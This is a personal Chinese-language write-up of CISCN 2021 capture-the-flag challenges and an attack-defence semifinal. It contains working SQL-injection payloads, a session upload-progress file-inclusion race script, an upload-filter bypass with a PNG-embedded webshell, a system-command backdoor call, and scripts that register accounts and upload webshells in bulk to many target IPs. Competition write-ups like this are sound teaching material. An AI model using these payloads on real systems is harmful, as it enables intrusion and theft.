当年入门后的第一次国赛

线上初赛

easy_sql

使用sqlmap跑出来了库名和表名

使用报错注入语句

1
') and extractvalue(2516,concat(0x7e,(select database()),0x7e))-- 

得到数据库名。但发现是无列名注入,过滤了union,参考文章:sql注入中的其他姿势
在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错

1
') and extractvalue(2516,concat(0x7e,(select * from users where id=1 and (select * from (select * from users as a join users as b using(id,username))as c)),0x7e))-- 

得到password
那么同理就可以得到flag的列名了

1
') and extractvalue(2516,concat(0x7e,(select * from flag where id=2 and (select * from (select * from flag as a join flag as b using(id,no)) as c)),0x7e))-- 

最后直接读取即可,字段存在数字注意使用反引号

1
') and extractvalue(2516,concat(0x7e,(select `0c20652d-dfd7-4610-a3bb-b0e9cc8fcacb` from flag),0x7e))-- 

由于extractvalue读取不完全,截取一下即可

1
') and extractvalue(2516,concat(0x7e,(select mid(`0c20652d-dfd7-4610-a3bb-b0e9cc8fcacb`,1,10) from flag),0x7e))-- 

得到flag

easy_source

直接.index.php.swo得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}

}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
?>

原题。。。。。。。。
fslh-writeup
flag 是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的ReflectionMethod来读取User类里面各个函数的注释
爆破出来q得到flag

middle_source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];

if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?>

可以读取

1
2
3
/etc/apache2/sites-available/000-default.conf
/etc/apache2/apache2.conf
/etc/apache2/envvars

但发现读取不了日志文件,使用dirseach爆破工具爆破文件

发现.listing,得到you_can_seeeeeeee_me.php

发现是phpinfo,得到session路径

那么利用session.upload_progress将恶意语句写入session文件,从而包含session文件然后进行访问
参考文章:利用session.upload_progress进行文件包含和反序列化渗透
发现存在disable_functions,使用scandir进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import io
import requests
import threading

sessID = 'bmth'
url = 'http://123.60.215.79:21776'

data = {
"cf":"../../../../../../var/lib/php/sessions/jbgjccdcbb/sess_{}".format(sessID)
}

def write(session):
while True:
f = io.BytesIO(b'a'*256*1)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc/"));echo("bmth");?>'},
files={'file': ('bmth.txt', f)}
)
def read():
while True:
response = session.post(url,data)
if 'bmth' in response.text:
print(response.text)
break

session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read()

发现奇怪的名称cadahdeiff,那么读取目录,最后readfile读取flag即可

1
readfile("/etc/cadahdeiff/aidacbeeef/hhbecfhbgf/fedajbafee/dbieffcbee/fl444444g");

upload(复现)

https://buuoj.cn/challenges#[CISCN2021%20Quals]upload
比赛时候没做出来,比赛完来学习一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}

发现存在以下过滤

  1. 上传需要绕过getimagesize
  2. 图片的长宽必须为1
  3. 文件名不能有c、i、h、ph

绕过getimagesize可以使用

1
2
#define width 1
#define height 1

这里c、i、h、ph直接把我卡死了,其实在生成文件名时用了mb_strtolower()函数

部分字母在经过mb_strtolower处理过可以等效普通字母的,如i可以用%C4%B0代替
文章:https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/

测试在php7.3.5及以上版本为false
扫描目录发现存在example.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}

echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}

}

发现可以解压zip,正好i可以使用İ绕过,这里需要绕过imagecreatefrompngimagepng,如果直接在图片最后写一个一句话木马,会被GD库给去掉,使用脚本生成,https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

修改图片后缀为php并压缩,上传并修改文件名,添加长度绕过的字符串

上传成功,最后解压文件,file=../image/aaa.zip,文件在example目录下

参考:
php imagecreatefrom* 系列函数之 png – janes
CISCN2021-upload

半决赛awd之旅

考试前两周出发福州去打半决赛,打的很一般,没有啥突出的,哎,两个队都没进决赛,可惜
web有四个靶机,第一天开三个,第二天开一个。注意靶机每十分钟获取一次流量,第一天我们队不知道,被打到20多名,第二天知道后已经晚了,追不上了,只有个二等奖

web_game

下载源码,d盾直接扫

发现存在后门,直接找到index.php并且利用func=system&arg=cat /flag

第二个漏洞需要注册一个账户登录进去,即可进行文件上传,发现未禁用php3和phtml,那么直接上传后缀为.php3的马即可

发现登录后文件名为md5(time())加上后缀,那么直接写一个脚本注册上传即可

注意python中的时间戳为str(int(time.time())),MD5加密即可

easy_cms

未发现自带后门,存在sql注入,尝试文件读取和写文件,都没有吊用
有一个文件包含一直没发现,属实sb了,当时并没有察觉到setup中的任意文件包含,导致丢失了很多分

存在echo $reader,直接?file=../../../../../../flag,直接找flag就可以了,哎
在admin/register.php中,存在任意用户注册,那么直接注册用户再登录就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re

f = open("ip.txt","r")

for ip in f.readlines():
ip=ip.strip('\n')
try:
url='http://'+ip+'/admin/register.php'
print(url)
payload ={
'user_name':'bmth',
'password':'bmth',
'submit':'register'
}
r = requests.post(url,data=payload,timeout=5)
print(str(ip) + " 注册成功")
except:
print(str(ip) + " 注册用户失败")
pass

登录后发现存在任意文件上传,且没有检测,那么直接上传一句话木马就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#文件上传脚本
import requests
import time

f = open("ip.txt","r")
login={
'user_name':'bmth',
'password':'bmth',
'submit':'Login'
}
while True:
for ip in f.readlines():
ip = ip.strip('\n')
try:
url1 = 'http://'+ip+'/admin/login.php'
session = requests.session()
session.post(url1,data=login)
url2 = "http://"+ip+"/admin/manage_uploads.php"

file = open('.bmth.php','rb') #一句话木马路径
files = {'file': ('.bmth.php', file)} #文件上传参数
data={
'submit':'Add Image'
}

r = session.post(url2, files=files,data=data)
print(str(ip) + " 木马上传成功!")
except:
print(str(ip) + " 木马上传失败!")
pass

后续的一些复盘当时都没搞了,就这样吧,人生中第一次线下awd,只能说略带遗憾